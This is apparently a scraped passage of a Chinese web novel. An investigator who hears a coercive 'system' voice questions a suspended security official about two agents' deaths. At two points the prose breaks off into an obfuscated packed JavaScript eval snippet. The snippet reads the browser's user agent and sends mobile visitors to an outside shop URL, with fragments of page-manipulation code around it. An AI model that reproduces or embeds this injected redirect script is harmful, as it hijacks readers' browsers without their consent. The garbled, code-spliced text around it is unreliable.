配合调查的意思是要配合御疏的调查?他把贺标薅出来了,结果自己要赔进去? 于奉彦不是很想动,他不想见到御疏那张死板认真又讨人嫌的脸。 他撑着秘书的办公桌缓了好久,随后晃晃悠悠地往门外走。 萧赋云等在门口。 “之后部门里的事由副部长代理。”于奉彦感觉也没什么可交代的,“按照我出差时的安排来就行了。” “好的。”萧赋云点头。 随后她想起了一件事:“刚才后勤部门调整了楚骸的伙食,是贺标组长的命令。” “谁?”于奉彦忽然精神了一些。 “贺标组长。”萧赋云重复。 “不不不,我是说他调整了谁的伙食?”于奉彦音调稍高了一些。 “楚骸。”萧赋云说。 “他还在?!”停职给他带来的冲击太大,于奉彦差点忘了这个人了。 萧赋云微笑:“您没有让放人。” “对,暂时别放,他身上有问题。”于奉彦下意识接茬,但于奉彦说完之后又想起了那种始终环绕着他的怪异感,总觉得那个茧族身上的某些东西是他无法承受的。 分部里面有楚骸啊…… …… 其实仔细想想,御疏这人也还行。 片刻后,于奉彦独自乘坐悬浮车来到了特别调查组的办公大楼。 他双手叉腰,打量四周。 看了一圈之后他重重地呼出一口气:“装修得挺好的,大气。” 负责接人的年轻专员尴尬地哈哈笑了两声。 “你们组长这段时间挺忙的吧?”于奉彦冲年轻专员微笑,“这活不轻松啊。” “是啊,几天没睡觉了。”年轻专员说。 于奉彦跟着年轻专员上了电梯,可越往办公室里走他越觉得不对劲。 “这儿怎么都是些机器人?”于奉彦问,“你们组其他几个负责人呢?” 专员看起来更尴尬了,本来他的手就一直在抖,听到这个问题之后他表现得更加不知所措。 “噢~秘密。”于奉彦十分善解人意。 可小专员刚要松口气,于奉彦紧跟着就来了一句:“都被找理由调走了吗?” 这只是于奉彦的猜测,但小专员的脸唰一下就白了。 于奉彦:“居然真的都被调走了?” “看样子御大组长的日子也不好混啊。”于奉彦感叹。 刚感叹完,他就察觉到了一道带着敌意的视线。 这是一种很奇特的感觉,于奉彦也无法形容,就好像他全身都是眼睛,没有人能够真正地“偷窥”他。 于奉彦转过身,正巧和面色憔悴、头发凌乱且攥着营养液的御疏对上视线。 御疏在看到于奉彦之后气压更低了。 他脑袋里那个自称系统的家伙还在吱哇乱叫。 “还没吃饭呐?”于奉彦笑着问他。 御疏没有回答,他重重地叹了口气,无比烦躁。 最近要应付的麻烦事已经够多了,昨天一晚上没睡,好不容易有了点空档,御疏想要起身活动活动,自己去拿营养液。 结果回来的路上就撞到了更大的一坨麻烦。 【你现在可以向他展示你的脆弱。】系统声音拔高了。 御疏不想搭理于奉彦,他想假装没看到对方,就这么走过去。 【对,假装看不到他,然后在路过他的时候脱力歪倒在他的怀里!】系统很亢奋。 刚走到于奉彦身边的御疏晃了一下,于奉彦很快就后撤一步躲开了。 御疏睁大双眼,死死地盯着于奉彦。 于奉彦:“你还好吗?” 御疏:“好得很。” 于奉彦:“那你可以把你的手从枪托上挪开吗?” 御疏:“为什么?” 于奉彦看着满眼血丝,头发张牙舞爪,甚至下巴上都冒出了一些胡茬的御疏,他耸耸肩:“我没安全感。” 他可以肯定刚才有一瞬间御疏是真想开枪打死他。 4. 感恩有你 【其实你可以忽然攻击他,先把你们的矛盾拉到无可挽回的地步,再给自己找一些苦衷。】系统继续怂恿。 御疏觉得自己没有精神病,但系统得去找个医院看看了。 “我没想到你痛恨我痛恨到想要直接打死我。”于奉彦感叹。 “没有。”御疏挪开视线,他不在意于奉彦是否察觉到了他的敌意,反正他们对彼此的厌恶从来都不是什么秘密。 于奉彦好歹是星安局熄烽星系分部的部长,没有直接证据证明于奉彦做了什么,他只是需要配合调查,御疏他们不可能把于奉彦关进审讯室。 此时他们在办公室北边靠窗的沙发上坐着,这里被隔出了一个小空间,放了个茶几,是御疏他们暂时休息的地方。 “你那些组员是什么时候调走的?给你的理由是什么?”于奉彦喝了一口茶,慢条斯理地询问。 御疏面无表情地提醒他:“现在应该是我来问你。” “也是,问吧。”于奉彦放下茶杯,歪着身子倚靠在沙发上。 “死的那两个人是你们星安局的,你和他们很熟?”御疏皱起眉头,他看不得于奉彦这懒洋洋的样子。 “很熟,他们跟御大组长您也很熟,咱们不都是同学吗?”于奉彦说。 御疏:“他们死之前见了你一面,当时他们有对你说些什么吗?” “我们一起吃了个饭,聊聊家常。”于奉彦双手交叉合十,叠放在了自己的腹部,“他们当时的反应挺正常的,我只知道他们追捕的逃犯是个本该死掉的人,那人私下折腾地下实验室,拿人类做实验。” 这些御疏已经知道了:“我们需要调查你的私人通讯器,以及你这段时间的出行记录。” “可以啊。”于奉彦伸了个懒腰,“我现在回自己家也不合适,你们给我安排落脚地了吗?” 御疏看了一眼年轻专员,年轻专员立刻回话:“安排了,您要去休息吗?” “是啊,我这段时间也没怎么睡好。”于奉彦准备起身,不过他刚站起来就又坐了回去。 御疏疑惑地看了他一眼。 “有件事你们大概没法在我通讯上查出来。”于奉彦又说。 御疏挺直了后背,结果于奉彦打了个哈欠之后又表示:“但是我现在忘得差不多了,等我睡好了我再告诉你。” “于奉彦!你是在耍我吗?!”御疏站了起来。 “没有,我真得休息休息了。”于奉彦两手一摊,看起来格外无辜。 “于奉彦,你不要把个人情绪带到案件里来。”御疏压低了声音。 “那我更没有了。”于奉彦耸肩。 御疏:“那两个被害身亡的专员是你的朋友,你不该在我调查的时候隐瞒关键线索。” “哦?听起来你似乎不觉得是我动的手?”于奉彦记得自己现在的身份应该算嫌疑人,“就不怕被我误导?” “你也一直在调查他们的死,不是吗?”御疏没说自己怀不怀疑。 他从不在得出结论之前轻易信任谁,他需要从于奉彦的嘴里撬出更多的信息,真的也好,假的也罢,总能给他提供新的思路。 于奉彦深吸一口气,随后他指了指御疏身边的年轻专员:“你这儿就剩两个活人了。” “几个老手因为与他们有关的紧急案件被调走了,就连负责资金梳理的技术人员都没给你一个,你们内安局是没人了吗?没了你身边的那几个人就运转不了了?”于奉彦问他,“不是我不配合你,老同学。现在这种情形你也看到了,是有人不想要结果。” 御疏没有回应,但于奉彦知道御疏肯定已经察觉到了:“上面有人不想要真相,这件事牵扯太广了。所以我调查着调查着就停职了,你身边更是一个能用的都没有。” 于奉彦和御疏的关系不好也不算什么秘密,他们针锋相对了这么多年,现在正经能合作的却只有他们俩,遗憾的是他俩从没合作成功过。 “如果只是星区有人,那还好说。”于奉彦想起了自己和总局长的那通简短的沟通,他可以确定当时总局长在等待他的通讯,总局长更希望他什么都不要做。 “这么多年,你还真是从未变过。”御疏已经平静了下来,他早就知道了于奉彦是个什么样的人,“无论是多好的朋友,在某些你认为需要退让的‘关键时刻’都会被你抛弃。” 于奉彦望着御疏的双眼,似笑非笑,没有回应。 “就像你以前喜欢过的那个老师,我曾经以为他是你的软肋,我以为再怎么混蛋的人都有一个软肋。”御疏继续说,“但你很快就适应了他的死亡。” 于奉彦的表情在那一瞬间似乎有了变化,但御疏还来不及捕捉这种情绪,于奉彦就正常了:“御组长,你不知道有些话不能当着别人的面说出口吗?得给彼此都留一点面子。” 一旁的年轻专员想把自己团起来,尽可能地缩减自己的存在感。 “幸好我这人心大,我不在乎这些。”于奉彦冲着年轻专员笑了笑,“对了,还没问这位小兄弟的名字。” “于部长,我姓娄,娄伏均。”年轻专员说。 “辛苦你在这儿看我跟你组长扯皮了,安排一个机器人带我去休息吧。”于奉彦打了个哈欠。 娄伏均看了一眼御疏,御疏摆摆手,他也知道他和于奉彦争不出什么结果。 【你体会到他的孤独了吗?】系统问他。 御疏:??? 御疏:“你是不是有病?!” 正准备离开的于奉彦和松了一口气的娄伏均同时愣住了,他们看向御疏。 “你骂我吗?”于奉彦指着自己的脸,“这么直白?” “不,不是你。”御疏按了按自己的眉心。 他不知道该怎么解释,他甚至不知道于奉彦对此是否知情。 这个自称系统的东西从何而来?祂真实的目的是什么?于奉彦知道多少内情? 如果自己真的没疯,这个系统说的也是真的,那么于奉彦又为什么值得被攻略?他的身份到底有什么问题? 御疏望向于奉彦,试图在于奉彦的表情里看出几分端倪。 于奉彦被盯的莫名其妙,他往左看看又往右看看,娄伏均下意识往远离于奉彦的方向走了几步。 “你不然就睡一觉休息休息吧。”于奉彦感觉自己后背有些发毛,为什么总觉得御疏越来越不正常了? “或者你抽空给家里打个电话。”于奉彦继续提议。 御疏:“为什么?”于奉彦是想暗示他家里人有什么问题吗? “让家庭温暖一下自己,别给自己整疯了。”于奉彦善意地提醒,“好好的孩子忽然就疯了,这挺值得悲伤的。” 御疏觉得好笑:“你还会担心我疯不疯?” “很担心。”于奉彦认真地点了下头,“看眼下这情形,你疯了之后第一个要弄死的就是我。” “直接死了还好,如果你发疯在我身上注射了什么病毒,或者让我接触了什么放射物,得了辐射病,到时候我还得跟你打官司。”于奉彦在担心自己的人身安全,“我跟个疯子打官司,我打得赢吗我?” 御疏的确打算偷偷调查于奉彦身上的问题,他不排除自己会带着于奉彦一起死的可能性。 【你杀不了他。】系统再次开口。 【没什么是杀不了的。】御疏这次注意了一些,他在用自己的思维去和系统沟通。 【你杀不了他。】系统重复这句话。 系统始终不肯透露于奉彦所谓的“真身”,御疏反复追问,问多了系统干脆就假装不存在,或者反过来逼迫御疏赶紧展开攻略。 “你受过伤吗?”御疏忽然问于奉彦。 于奉彦的眼睛又睁得大了些,他指了指自己的鼻子。 对了,他俩以前打过架,他们俩的鼻梁骨都被对方打裂过。 “我能走了么?”于奉彦问他。 御疏:“你走吧。” 于奉彦:“你不会再忽然开口骂我有病了吧?” “不会。” 于奉彦半信半疑地点了一下头,紧跟着一个巴掌大的圆形悬浮机器人飘了进来,它在于奉彦身边飘了一圈,扫描确认了于奉彦的身份:【身份核对完毕,欢迎您,于奉彦。您的临时住所已准备就绪,请随我来。】 悬浮机器人带着于奉彦离开了。 娄伏均询问御疏:“组长,咱们要不要监视于部长?” “不用。”御疏似乎不怎么关心于奉彦的情况。 等到了晚上,御疏端着浓茶打开了于奉彦住所的监控。 娄伏均太冒失了,于奉彦又是一个敏锐的人,御疏不打算把自己正在监控于奉彦的事告知娄伏均。 御疏的行为违背了调查的规则,他没有权力在于奉彦的罪行未确认的情况下监视于奉彦的住所内部,更何况御疏的监视甚至与这起案件无关,他只是对于奉彦这个人产生了怀疑。 御疏打开了办公室里的警报器和屏蔽器,确保不会有其他人忽然出现,避免其他人监视他此时的行为。 于奉彦此时会做些什么? 他的住所是御疏安排的,于奉彦只怕也知道御疏会监视他。 所以于奉彦什么都不会做。 面板上淡蓝的光映在了御疏的脸上,御疏放下浓茶,拿起早就准备好的营养液,这瓶营养液里有能提振精神的添加剂,这段时间御疏喝的都是这个。 于奉彦不在客厅,卧室和浴室也没有,他更没有在阳台上坐着。 “刺啦”的声音格外刺耳,御疏下意识皱起眉头,随后厨房的监控被放大。 于奉彦正在煎肉排。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17440290|201040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 御疏沉默。 等等,于奉彦为什么会做饭? 他只懵了一小会儿就反应过来了,于奉彦确实会做饭,而且这是于奉彦特意学习过的技能。 人工烹饪在如今这个时代被认为是一种“享受生活”的方式,于奉彦学习烹饪不是为了享受生活,他是为了更好地照顾自己的“朋友”,这样会让他看起来更真诚。 于奉彦不会学习那些无用的技能。 肉排还在锅里滋滋作响,于奉彦把肉排翻了个面。 肉排表面泛着焦糖色,边缘的颜色略微深一些,它表面的油脂映着灯光,看起来格外诱人。 系统:【看起来真美味。】 这次御疏没有反驳,他的肚子叫了一声。 系统:【你现在可以跑过去攻略他,顺便吃一顿饭。你借着问案件的名义冲过去,他肯定会邀请你坐下来一起吃一顿,这样你就可以一边问一边吃了。】 御疏沉默了一会儿,随后他猛地吸了一口气:“你刚才是不是控制我的心智了?”为什么他会有一瞬间的心动?! 系统:【你就不能承认你自己真的很饿吗?】 御疏一口把营养液全部喝了进去,又灌了两大口浓茶,随后他恶狠狠地重新盯着屏幕,他没忘记他是来做什么的。 系统:【你的肚子还在叫诶。】 另一边,于奉彦的心情很不错,这次调查对他来说也算是强制性休假。 他哼着歌把菜和主食都端上了餐桌,随后他点开了一档老牌综艺节目,一边看一边吃。 吃完之后于奉彦把碗碟交给了家政机器人,他自己起身去阳台吹夜风去了。 阳台的面积很大,他把手背在身后,来回溜达着消食。 于奉彦在琢磨到底是什么样的事件才会让总局长忌惮。 他没思考出个所以然,在感觉到有点凉之后就转身回屋了。 “他在预约皮肤保养吗?!”御疏看着于奉彦在医疗舱上设置的保养内容,只觉得不可思议。 系统:【你现在的情绪好暴躁。】 御疏:“没有。” 系统:【你心跳都变快了。】 御疏:“可能快猝死了。” 系统:…… 御疏知道于奉彦会为了给别人带来更好的印象而在各个方面下功夫,但他不知道于奉彦能做得如此细致。 于奉彦进了浴室。 系统:【这里不能看了吧?】 御疏:“监视的时候不需要有这种道德。” 进了浴室的于奉彦盯着镜子看了很久,他似乎在打量自己脸上的每一个细节。 他果然很在意自己的外貌。 随后于奉彦解开了上衣的扣子,御疏的眼睛骤然睁大,整个人都坐直了。 于奉彦的身上有一块很大的疤痕,那疤痕像是某种网,又或者被摔坏后留下的裂痕。 疤痕覆盖了于奉彦的整个后背,包括他大臂的一部分。 可这不应该,于奉彦最近没有受过这么严重的伤,他没有治疗记录。 至于旧伤……那就更不可能了,如今是星际时代,再重的伤痕也能在三天内清除干净。 难不成是为了个性刻意弄的?可这又和于奉彦的性格不相符。 监控里的于奉彦忽然轻轻“啊”了一声。 “差点忘了。”于奉彦重新把衣服穿好,拉住了衣领。 随后他笑着开口道:“这部分就别看了吧,御组长。” 御疏:…… 于奉彦:“我倒数五个……” 御疏默默关掉了监控。 于奉彦确实早就知道了他会监视,刚才的一切只是于奉彦的表演,继续监控也得不到什么有用的信息。 系统:【不看了吗?】 御疏不回答。 系统:【你的心跳又快了。】 御疏在想,如果于奉彦的房子里安装了炸弹,而按钮刚好就在他右手边就好了。 于奉彦做饭散步,装出一副惬意的样子是为了什么? 御疏看了一眼自己桌上的浓茶。 御疏:“于奉彦身上会不会有什么不得了的反人类罪行?” 系统:【你想找个正当的理由杀了他吧。】 御疏:“为了人类。” 系统:【真不得了。】 于奉彦倒数结束之后才褪去上衣继续观察自己后背的伤痕。 浴室里的镜子是立体的,他可以选择观看自己的背面,因为镜子本身是个做全方位扫描的仪器。 于奉彦看着让自己头疼的伤痕,心情意外地还不错。 毕竟此时此刻心情稀烂的应该另有其人。 于奉彦一边观察自己的伤口一边感叹。 这何尝不是一种陪伴呢? 5. 这不浪漫吗? 餐盒的盖子被揭开的瞬间,浓郁的香味瞬间填满了整个办公室,娄伏均咽了口唾沫,他想让自己的视线从于奉彦的餐盒上移开,但他根本做不到。 娄伏均也知道自己这样很没礼貌,但他已经连续喝了好几个星期的营养液了。 也没人规定他们调查组只能喝营养液,只是他们的组长御疏有点认真过头了,御疏觉得营养液最便捷,一口就能喝完,该补充的营养也都有,还不用担心吃坏肚子。 娄伏均刚开始是佩服御疏的,他试图从御疏身上学到点什么,比如御疏那吃苦耐劳的精神。后来他怀疑御疏是不是有点偏执,不然为什么他天天都在熬大夜,天天都只喝营养液?他不会觉得只喝营养液的人生毫无意趣吗? 娄伏均不知道御疏如今的人生是否有趣,他只知道自己是调查组里资历最浅的那个,他不敢不顾领导独自享乐。 ……于奉彦餐盒里的炸虾看起来真漂亮,金黄金黄的,咬一口大概会酥到往下掉渣吧。 啊,于奉彦吃了,酥脆的声音跟自己幻想里的一模一样。 于奉彦看了一眼一直在往他这儿瞟的娄伏均,娄伏均立刻挪开了视线。 “你过来干什么?”御疏问他。 “配合御大组长的工作,我担心你们有事找我又不好意思直说,一大早就赶过来了。”于奉彦解释。 御疏:“那你说说我们没法在你通讯上查出来的东西是什么。” 于奉彦:“什么没法在我通讯上查出来?”他似乎已经将自己的话忘得一干二净了。 御疏后仰,他看起来依旧狼狈疲倦,尤其此时他身边还有个容光焕发的于奉彦做衬托,哪怕御疏今天把自己的胡子刮干净了,也像是个失意的可怜人:“不记得了?也行。既然你这么积极地想要配合,我们就聊聊你们最近逮捕的那位楚骸吧。” 听到御疏的话之后于奉彦没有太多反应,他又咬了口炸虾,咀嚼吞咽之后才抬头询问:“你是说我们最近抓的那个克拉塞尔人?” “他是茧族。”御疏的表情没有任何变化。 “是吗?茧族啊……”于奉彦似乎记不得这个小角色了,在瞥了一眼御疏之后他重新低下头吃饭,“你觉得他和那两位专员的死有关系?” “你之前也在调查这件事不是么?不然你们行动组组长贺标为什么会抓捕这个茧族?他的嫌疑应该还没排除吧,毕竟他没被放出来。”御疏一直盯着于奉彦的脸,他一直在留意于奉彦的情绪变化。 “那肯定放不出来啊,还没来得及审问,我们贺组长就被您抓了。”于奉彦很无奈,“我刚给人提溜回去,自己就被停职了。” 御疏点点头,他也认可于奉彦的说法:“我调查了这位楚骸,这是他第一次来人类世界,他似乎对你很感兴趣,而且他此行的目的地是姜河的老家。” 于奉彦的脸色终于变了,他的嘴角绷直了些。 “你认为姜河的死和这个楚骸有关系对吗?”于奉彦意识到了自己的失态,他错了,他不该觉得面前这个一根筋的御疏比那个身怀秘密的茧族稍微可爱一些,他太久没跟这家伙接触,低估了这人的缠人程度。 “这个问题你需要问我吗?”御疏反问,“我以为你已经得出结论了。” 于奉彦笑了笑:“你以为我有三头六臂?既关注两个专员的死,又去关注每一个被抓进星安局的外星种族?” 楚骸被抓进星安局确实是因为两个专员死亡的案件,这起案件的源头是一个外星种族手下的矿坑发生了矿难,而受伤的人员里出现了一个本该在二十年前死去的逃犯,那两位专员调查时接触的也都是些外星种族。 他们当然会从那些可疑的外星族裔身上查起,当时被贺标带回来的可疑外星人很多。 于奉彦很肯定御疏和他的思路差不多,不然御疏就不会因为贺标收取外星种族的资金而抓捕贺标了。 不过御疏这人能找出楚骸,只能说明他把被星安局带走的异族的背景都调查了个遍。 难怪这家伙天天熬大夜。 “如果楚骸真的和姜河的死有关系,我不会放过他的。”于奉彦说。 御疏扯了下嘴角,干干巴巴地露出一个笑容,他想表演出虚假的亲切,但很显然他没有于奉彦那样出神入化的演技:“你现在被停职了,要不要我帮你查?” 于奉彦这下是真有点控制不住情绪了:“哦?可以吗?你人真好,可你以什么理由把他调过来?他是茧族,那两位专员的死似乎和茧族没什么关系啊。” 茧族进入人类联盟本来就是违法的,这一类危险外星生命体潜入人类联盟的事件归星安局管,他们抓人是合理合法的。 御疏他们内安局确实也会涉及外星生命体,但更多的是对合法生活在人类联盟的外星生命体进行监视,而御疏这个特别调查组的组长现在能管的也只有和专员死亡这个案件相关的一切,怎么都管不到一个茧族身上。 “于部长是最后一个见到两位专员的人,于部长你身上也有嫌疑。而那个第一次进入人类世界的茧族为什么会关注那么多和于部长你有关的内容呢?偏偏他还在这时候来了人类联盟。”御疏说,“这一切都太可疑了。” 于奉彦:“只是怀疑?” “怀疑就够了,他是茧族,是通过寄生人类来繁殖的外星生命体,他本来就不被允许进入人类联盟,不会有一个护犊子的上司忽然出现,告诉我他非法潜入的行为有哪些合理性和必要性。”也许他的行为不算合规,但不会有人去管这个,哪怕是那些不希望案件有结果的人。 御疏也不觉得那个茧族和专员的死亡有多少关系,但他怀疑那个茧族和于奉彦的“神秘身份”之间有联系。 既然系统不肯说,就只能由他来慢慢挖掘了。 【那个茧族什么都不知道,他也不清楚于奉彦的真实身份。】系统开口。 御疏:【既然你不肯让我知道于奉彦的真实身份,那我调查方向错了你应该开心,而不是提醒我。】 系统沉默片刻之后忽然发出了一声长叹,他的电子音似乎在颤抖。 系统:【……我想绑定的明明不是你。】 御疏也很不喜欢自己脑袋里莫名其妙多出一个声音去窥探他的思想。 系统:【我的绑定对象明明是那个可爱的、憧憬浪漫爱情故事的小演员,但你为什么要在关键时刻冲上去见义勇为呢?】 御疏:【你是说那个差点被失控的悬浮车撞到的人?】 系统不搭理他,只是自顾自地抱怨:【跟你沟通让我好累啊。】 御疏:【是你擅自跑进了我的脑袋里,累的不应该是我吗?】 【你累吗?你明明一直在亢奋。】系统说,【你脑袋里就不能稍微装一点浪漫的东西吗?】 御疏:【你是说有一天人与人的交往中再也没有谎言和欺骗,不再相互倾轧?】 系统:……< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17440291|201040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>系统用怪声怪气的语调回应:【哦哟~大格局哦~】 嘲讽完了之后御疏又听到了哽咽声,那似乎是系统在为自己的未来而悲鸣。 御疏不明白,自己说的话到底哪里有问题? 那样的未来不浪漫吗? 于奉彦只觉得脑袋疼,他不明白御疏为什么那么执着于那个楚骸,御疏真觉得楚骸和两个专员的死有联系?或者说御疏是单纯地想要折磨他? 要阻止吗? 于奉彦自己也不明白楚骸和姜河之间到底有什么关联,他在回避这个答案。 不,不能阻止,越阻止御疏越想要弄清真相。 刚才自己情绪的变化还能被理解成“得知朋友死亡的疑点”后的愤怒。 如果他是因为隐情而愤怒,那他就更没理由阻止御疏。 “如果姜河的死真的和那个茧族有关,你能查清背后的真相……你想要什么,只要是我能办到的,我都能给你。”于奉彦很认真地望着御疏的双眼。 御疏:“我想要什么我可以自己去拿。” “你不想知道那两个专员是因为什么死的了吗?”于奉彦忽然问。 御疏的目光锁定到了于奉彦身上。 “是一份文件。”于奉彦说。 “什么样的文件?”御疏询问。 “这个我不清楚,我没见过那份文件,但在他们死亡的前一个小时,我收到了他们的信息。”于奉彦解释,“通讯上查不到,那是我们上学时琢磨出来的传递信息的小游戏,他们只说他们拿到了一份很重要的文件,那份文件会让他们的处境很危险,让我照顾好他们的家人。” “他们不想把你牵扯进去。”御疏明白了。 于奉彦起身。 御疏问他:“你又想走了?” “去洗个餐盒。”于奉彦耸耸肩,“有些内容对我来说有点沉重,我需要安抚一下自己的情绪。” 御疏点头表示自己明白了,他只要知道于奉彦还会回来就行。 于奉彦随手拦住了一颗飘过的机器人:“劳驾,洗消间怎么走?” 机器人立刻转向,说了一句“请您跟我来”之后就飘向了另一个方向。 于奉彦的心情确实不轻松,他喜欢用亲自动手做家务这个行为来舒缓自己的情绪,抢家政机器人的工作,去寻求某种掌控感。 他得给御疏找点事做,不让御疏死盯着那个茧族。 但他用来分散御疏注意力的事件实在太过危险。 自己真的有那么害怕所谓的真相吗? 于奉彦洗完餐盘回到办公室,忽然听到了御疏和娄伏均的对话。 御疏在问:“有个人说我脑袋里没有浪漫的幻想,希望人们之间不再有谎言和欺骗不算浪漫吗?” 娄伏均:“啊?啊……算,算吧。” 于奉彦噗嗤一声笑了出来,御疏和娄伏均看向他。 于奉彦摆摆手,越笑越大声。 御疏:“很好笑?” “不不不,只是觉得你这样子……”于奉彦笑着望过来,过浅的红色眼眸似乎根本映不出眼前人的模样。他的嘴角还是上扬的,但眼角的皮肉却纹丝不动。于奉彦站得比较远,像个被台上表演短暂吸引到的路人,玩味地上下打量表演者。 在停顿片刻之后,于奉彦补上了后面那句夸赞:“蛮可爱的。” 语气又轻又温柔。 跟骂脏话似的。 6. 合作愉快 于奉彦很讨厌御疏的执行力,他上午说要把楚骸提到调查组来,打了报告得到回信,下午就亲自去星安局要人去了。 特别调查组里人手不太够,娄伏均的经验不足,御疏只能自己上。 楚骸不明白发生了什么,警卫机器人不会与嫌疑人有任何的沟通,只是通知他需要更换拘留所。 这是什么意思?于奉彦不来找他了?于奉彦想把他送走? 楚骸的眼眶有些红,于奉彦一直将他晾在一边,他不明白于奉彦怎么能冷漠成这样。 此时于奉彦正坐在办公室的沙发上,捧着一杯浓茶,佯装心神不宁。 他必须心神不宁,毕竟楚骸和他朋友的死有关系。但他又不能表现得太明显,他好歹也是星安局的人,他学习过应该怎么去隐藏自己的情绪,太外显就太假了。 所以他敲了敲杯壁,对忙碌的娄伏均说:“你们这儿的茶似乎不太行。” 娄伏均不可能晾着于奉彦,他笑了笑:“这个是统一采购的,肯定好不到哪里去。” “我们局里的茶也是统一采购的,有一股果木香。”于奉彦说,“可惜我这次来得比较匆忙,不然我还能给你们带点。” “这,这不合适吧。”娄伏均干干巴巴地回应。 于奉彦耸耸肩:“有什么不合适的?那是公家买的,不喝白不喝。” 正在整理楚骸资料的御疏回头看了于奉彦一眼:“从刚才起,你的话就有点太多了。” “毕竟我没活干,不聊天还能干什么呢?”于奉彦又喝了一口茶。 御疏对于奉彦的说法不置可否,他只是问:“你想去见见那个楚骸吗?” “我又不是你们这儿的人,自身的嫌疑都还没被洗清,我去不合适。”于奉彦确实想知道楚骸会问些什么,可惜有时候掌控欲太强了反而容易让一切都失控。 “我以为你想亲自了解姜河死亡的真相。”御疏说。 “有些时候知道真相不是什么好事。”于奉彦往后靠去,“可怜可怜我吧御组长,有些所谓的真相还蛮打击人的。” “你有那么脆弱?”御疏不认为于奉彦接受不了这一切。 于奉彦勾了勾唇:“有得选我当然会选择退缩。” 御疏没有回应,于奉彦以为御疏只是习惯性的沉默,但御疏的身体也僵住了,迟迟没有动。 于奉彦疑惑地看了御疏一眼,却见御疏面色惨白,额头上冷汗直冒。 “……御组长,你怎么了?”于奉彦放下茶站起身,娄伏均也扭头看向了御疏。 “没事。”御疏抿紧嘴唇。 【你不需要继续调查那个茧族。】系统的语气很强硬。 御疏已经在脑海里跟系统争执过一轮了,系统不允许他继续调查于奉彦的身世,不允许他去接触那个茧族。 【你只要攻略于奉彦就好了。】系统说,【你攻略了他,一切问题都解决了。】 【凭什么?】 刚才系统意识到阻止不了御疏之后直接释放了电流,那一瞬间御疏的肌肉剧烈收缩,而这种身体上的痛苦显然影响不到御疏的思维。 【你为什么只会问凭什么?!】系统有些崩溃。 【因为我确实不明白。】御疏觉得此时此刻该崩溃的不是系统。 他从没说过自己愿意攻略于奉彦,这个系统既没有事先跟他商量,更没有征求他的意见,这一切都是强买强卖。 什么是攻略?隐去自己的一切,趴在地上摇尾乞怜,把自己变成于奉彦喜欢的样子吗? 被抹去了自身个性的他算个什么东西?一个合格的玩具?一个能让人心情放松的宠物?不管算什么,反正肯定不是人。 而当御疏质问这一点时,系统给他的回答是:【可于奉彦也会爱你,浓烈的爱总归是个好东西,你只需要忍耐一时,等他爱得不能自拔了之后你就可以改造他。】 【这也不合理,如果我装模作样刷到了所谓的好感度,等我性格有了变化他不会对我失望吗?】装宠物当然可以讨人喜欢,但宠物最重要的就是不会开口说话,无法表达自己的思想,高度依赖主人。 一旦宠物开了口,开始嚷嚷什么“独立自主”,宠物也就不可爱了。 【当了狗之后还想当人?你不过是用那个“主人梦”去骗我先俯身当狗罢了。】丢掉的尊严哪里那么容易找回来? 于奉彦到底知不知道这一切?御疏从来都看不透于奉彦,如果这场针对于奉彦的攻略是于奉彦知情的,那此时此刻他看着自己狼狈的样子,又在想些什么? 御疏知道他坚持的东西在别人眼里算得上“偏执”,他不要求别人去接受他的选择,他可以接受牺牲…… 只有完整的人才能为自己的意志而牺牲。 系统觉得御疏顽固过头了:【你就不能别这么犟吗?】 【我没有在犟,是你一直在胁迫我。】御疏坚持自己的看法。 “御组长?”于奉彦的声音传入了他的耳朵。 汗水浸湿了他的衣襟,御疏扭头去看于奉彦。 御疏什么都没说,只是看着他。 看着那张虚伪的、贪婪的、冷漠又恶劣的脸。看着那双浅红色的眼睛,于奉彦还在笑啊,笑什么呢?嘲讽他的狼狈? 这个人到底有哪一点值得被喜爱? 他不需要付出任何感情,有个叫“系统”的东西会强迫人去爱他,剥离自己身为人的尊严去爱他。 御疏看了很久,久到娄伏均开始害怕御疏会忽然冲上去揍人。 但是什么都没发生,御疏垂下眼帘,他强行压制了自己即将溢出的怒火,将那偏激的同归于尽的想法按了回去。 他不清楚于奉彦是否知晓内情,他不能武断地作出判断。 系统一直在他脑内叫嚷着于奉彦的名字,试图告诉他于奉彦是值得被爱的,在那样的叫嚷下,于奉彦的脸变得更加狰狞了。 “我先去见那个茧族了。”御疏说。 “组长,你的身体……”娄伏均总觉得御疏现在的状态很不对劲。 “我没事。”御疏扭头就走,他的步伐很快,看起来还有些急切。 于奉彦被御疏盯了好一会儿,他始终没有什么大的表情。 “看样子你们御组长蛮讨厌我的。”于奉彦挑了一下眉头。 “我们组长是熬夜熬多了,状态有点萎靡,脸色不好看。”娄伏均替御疏解释。 “也许吧。”于奉彦点开了自己的光脑,他翻出了一张照片。 于奉彦盯着那人看了许久,他不确定自己要不要用这个引开御疏的注意力。 说来奇怪,于奉彦压根不明白自己在为什么而恐慌,他畏惧的只是一些无厘头的猜想,是那些诡异的梦和自己身边那些奇怪的爱。 但换个角度想想,自己本身就是孤儿出身,他的亲密关系出问题很可能是因为他没有原生家庭。 御疏能从那个茧族身上查出些什么呢?自己又没有什么要命的把柄在茧族的手上,他到底在胆怯一些什么? 如果现在他用这东西吸引御疏的注意力,那等待他的麻烦就大了。 说不定他会恐慌只是他的精神出问题了,只不过于奉彦也实在不想将自己的内心剖析给另一个个体看……人工智能也不行。 